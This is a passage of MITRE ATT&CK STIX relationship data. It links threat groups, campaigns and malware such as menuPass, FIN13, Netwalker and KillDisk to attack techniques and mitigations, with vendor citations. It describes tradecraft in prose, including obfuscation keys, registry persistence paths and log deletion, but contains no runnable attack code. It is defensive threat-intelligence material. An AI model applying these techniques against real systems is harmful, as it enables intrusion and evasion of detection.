Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--99717cce-1987-4ca1-8df2-c6ec6ce17cf5","created":"2021-11-24T21:30:58.027Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used several different security software icons to disguise executables.(Citation: MalwareBytes LazyScripter Feb 2021) ","modified":"2022-04-06T19:09:56.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--997669d5-29e4-4a89-81b8-9aa84ebce527","type":"relationship","created":"2020-10-02T16:46:42.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:46:42.674Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d","target_ref":"attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9978b502-d1c2-4673-8df5-878f3184fe4e","created":"2024-03-11T20:02:49.292Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T20:02:49.292Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used Iodine to tunnel IPv4 traffic over DNS.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--99800503-d535-4fae-a318-dfa034dca663","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.633Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9983965f-91b7-492b-9764-ad801af4476a","type":"relationship","created":"2019-03-11T20:01:20.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.910Z","description":"[Empire](https://attack.mitre.org/software/S0363) can conduct command and control over protocols like HTTP and HTTPS.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--998650da-f301-46be-ab18-38d14359530b","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"Symantec Cicada November 2020","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:48:17.309Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has encoded strings in its malware with base64 as well as with a simple, single-byte XOR obfuscation using key 0x40.(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--998ad8ac-9929-4360-92c8-63efb1a81d78","type":"relationship","created":"2020-05-26T21:02:38.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."},{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-06-08T16:07:36.347Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) has been written in PowerShell and executed directly in memory, avoiding detection.(Citation: TrendMicro Netwalker May 2020)(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--998add45-ac31-4020-9179-5730f06ae9cd","created":"2023-03-31T17:40:05.224Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T18:13:07.551Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used UPX to pack a copy of [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--998c449f-ef46-4f42-a6a4-bd025338584e","type":"relationship","created":"2021-11-16T15:32:34.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"modified":"2021-11-16T15:32:34.291Z","description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can receive additional malicious components from an actor controlled C2 server and execute them on a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9992c76b-149d-4842-80b5-dbd37f0369be","created":"2023-07-28T17:52:24.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.955Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used Windows Registry run keys such as, `HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\hosts` to maintain persistence.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99994a2f-c6d3-4766-92e4-b8d1e62e8aa4","type":"relationship","created":"2020-02-12T14:10:51.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T14:10:51.040Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9999824c-f85b-4bc2-bb00-e86d4c8c0a22","type":"relationship","created":"2021-09-23T17:23:19.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."}],"modified":"2021-10-04T13:25:58.173Z","description":"[Babuk](https://attack.mitre.org/software/S0638) can stop anti-virus services on a compromised host.(Citation: Sogeti CERT ESEC Babuk March 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99a5e60d-62f7-4dc6-af50-99e57e92eaab","type":"relationship","created":"2020-10-20T01:23:07.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:35:09.810Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--99a96ac0-c93d-488b-8439-04d97716682c","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"Symantec Cicada November 2020","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"},{"source_name":"DOJ APT10 Dec 2018","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion"},{"source_name":"District Court of NY APT10 Indictment December 2018","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.","url":"https://www.justice.gov/opa/page/file/1122671/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.634Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used legitimate access granted to Managed Service Providers in order to access victims of interest.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Symantec Cicada November 2020)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"},{"url":"https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html","description":"Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox Part 2"}],"modified":"2019-04-29T18:01:20.627Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to side load DLLs with a valid version of Chrome with one of their tools.(Citation: FireEye Clandestine Fox)(Citation: FireEye Clandestine Fox Part 2)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99c1668e-3e9c-4da1-8019-59b6c30f010e","type":"relationship","created":"2021-01-20T18:10:33.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESEST Black Energy Jan 2016","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"}],"modified":"2021-05-04T16:56:40.270Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) deletes Application, Security, Setup, and System Windows Event Logs.(Citation: ESEST Black Energy Jan 2016)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99c360a2-7395-46e4-88fc-dbd757bed5bf","type":"relationship","created":"2021-12-06T16:30:49.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T16:30:49.164Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has modified the Registry to perform multiple techniques through the use of [Reg](https://attack.mitre.org/software/S0075).(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99c87be1-d8f1-4b41-836f-8811628c4b80","type":"relationship","created":"2020-12-23T19:10:21.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2020-12-29T20:30:01.677Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Scheduled Tasks for persistence and to load and execute a reverse proxy binary.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99cb12cb-5d0b-4afe-9f8b-81bcdf8ed486","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99cfee83-7db8-44c1-8fd8-75bc1c67d17c","type":"relationship","created":"2021-03-19T13:38:12.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:38:12.533Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used a PowerShell backdoor to check for Skype connections on the target machine.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99dfbbaa-5e58-4a03-9b94-fb6962681ce3","type":"relationship","created":"2020-06-23T19:30:44.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-06-24T01:11:43.031Z","description":"[Valak](https://attack.mitre.org/software/S0476) can collect sensitive mailing information from Exchange servers, including credentials and the domain certificate of an enterprise.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99e04ca5-f096-4069-888d-12e8945a69ce","type":"relationship","created":"2020-11-19T18:02:58.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.598Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has deleted itself and the 'index.dat' file on a compromised machine to remove recent Internet history from the system.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99e6e6cb-c19e-4689-8c92-b5429c709b91","type":"relationship","created":"2021-03-12T16:55:09.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-15T21:09:44.550Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has decoded and decrypted the configuration file when executed.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99e7e929-1e72-4d9a-8997-15f977f36218","type":"relationship","created":"2021-05-11T18:51:16.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T01:35:43.834Z","description":"Consider periodic reviews of accounts and privileges for critical and sensitive code repositories. Scan code repositories for exposed credentials or other sensitive information.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.804Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has compressed data into password-protected RAR archives prior to exfiltration.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 